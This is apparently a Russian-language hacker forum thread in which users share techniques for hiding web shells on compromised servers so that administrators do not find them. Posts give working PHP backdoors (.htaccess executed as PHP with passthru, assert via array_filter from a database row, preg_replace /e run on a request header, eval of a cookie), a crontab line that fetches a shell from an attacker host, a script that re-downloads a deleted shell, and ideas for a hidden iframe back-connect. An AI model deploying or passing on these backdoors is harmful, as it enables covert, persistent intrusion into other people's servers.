Собираю коллекцию способов, как спрятать шелл 1) Спрятать в .htaccess # Override default deny rule to make .htaccess file accessible over web <Files ~ "^\.ht"> Order allow,deny Allow from all </Files> # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ###### domain/path/.htaccess?c=command 2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp" 3) Спрятать в гиф .htaccess AddType application/x-httpd-php gif 4) Записать шелл в базу данных, в неприметную новость Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе?
1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’. Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами. 2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым: SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php 3. Запускаем команду crontab /tmp/cmd. 4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла. мини-статья из журнала ][акер декабрь 2009 года.
PHP: <?php # тут подключение к базе и любой код if(isset($_REQUEST['userlogin'])) { $query = mysql_query('SELECT user, pass FROM users WHERE id=1'); $result = mysql_fetch_assoc($query); array_filter(array($result['pass']), $result['user']); } # и тут любой код ?> В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста: PHP: CREATE TABLE IF NOT EXISTS `users` ( `id` int(10) NOT NULL AUTO_INCREMENT, `user` varchar(255) NOT NULL, `pass` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; INSERT INTO `users` (`id`, `user`, `pass`) VALUES (1, 'assert', 'phpinfo();'); Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом функции обратного вызова, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
если я правильно понял,то при данной схеме вместо какой-то определенной страницы на сайте будет загружаться вебшелл? Верно? А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке.
А как вам такой вариант незаметного шелла? Не каждый может заметить такой шелл. PHP: @preg_replace('/(.*)/e', $_SERVER['HTTP_REMOTE_ADDR'], NULL); И отправляем пакет, в хеадер добавляем: Code: REMOTE_ADDR: phpinfo(); Единственное, нужно чтобы флаг e был разрешен, по дефолту — разрешен.
Я заметил привычку прятать шеллы и прочие скрипты на сервере в папке /tmp/ Но видимо не все знают что содержимое папки /tmp/ живет до ребута, хоть сервера и редко ребутят, но все же.
только при register globals on. Даже если бы rg on был бы, то ничего не вышло бы, т.к. eval не функция, поэтому ее нельзя в переменную заложить, но я понимаю что это просто пример был, можно использовать другие варинаты, например прямая запись в файл.
Я бы подходил тоньше в данному вопросу. А именно - использование методик сокрытия доступа , как такового в зависимости от условий каждого конкретного случая. К примеру VPS с одним сайтом, сетевые правила разрешают входящие соединения без явных ограничений ( тупо не перекрываются коннекты на 33, 404, 31337 etc произвольные открытые несанкционировано порты). В крон вбивается скрипт физически размещаемый вне локаций имеющих отношение к веб сервисам. Каждые 10-15 мин он проверяет наличие активирующей команды на на стороннем сервере ( банально в том же .txt) , если TRUE -> биндится порт - благо если сервисами не забит порт 8080. А далее удаленно выполняется к примеру тот же PHP. Кому-то может показаться чрезмерно массивным и излишне сомнительным. На практике же ,все достаточно просто в реализации. Пользуюсь и , как показывает статистика, доступ к ресурсам живет дольше чем в варианте постояттного физического размещения шела в директории веб-сервера.
У меня такая задумка: В любом модуле,плагине вообщем в любой странице сайта вставляем прозрачный или под цвет сайта (главное чтоб его не видно было) на пример 2х2 код iframe и чтобы он находился где нибудь в углу, и при клике по нему делался back-connect на любой порт, получаем консоль чем не полноценный шелл.Так же можно релизовать проксю заместо кода back-connecta ставим редирект на другой сайт с таким же iframe и так далее N'ое количество сайтов.Чем не цепочка прокси. А для GUI'шников на последнем N'ом сайте можно и WSO Пусть попробуют проследить.
2 vasykas: Ты наверное не понял сути вопроса данного поста. Речь идет о том, как спрятать выполняемый код от администратора какого-либо ресурса, на котором необходимо разместить веб-шелл. Именно то, как спрятать вызываемый через iframe(как ты предлагаешь) код, именно и обсуждается в данном посте.
Вот мой способ(можно в иднекс запихнуть например): PHP: <?php $file = 'shell.php'; //адрес шелла на сайте if (file_exists($file)) { //проверка на наличие файла $a = md5_file($file); // хэшируем $fileb = file_get_contents('http://site/shell.txt'); //адрес шелла в др. сервере $b = md5_file($fileb); // хэшируем if ($a!=$b) { copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл } } else { copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл } ?> Если кто-то сменить пароль/удалить все возвращается на место UPD. Поправил.
А ничего что переменная $b - не установлена? У тебя по сути всегда будет $a!=$b. Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов. Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится. Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.
2Boolean, sorry. Там не $b = md5_file($b); а $b = md5_file($fileb); >У тебя по сути всегда будет $a!=$b. С чего это вдруг? 2Expl0ited, +1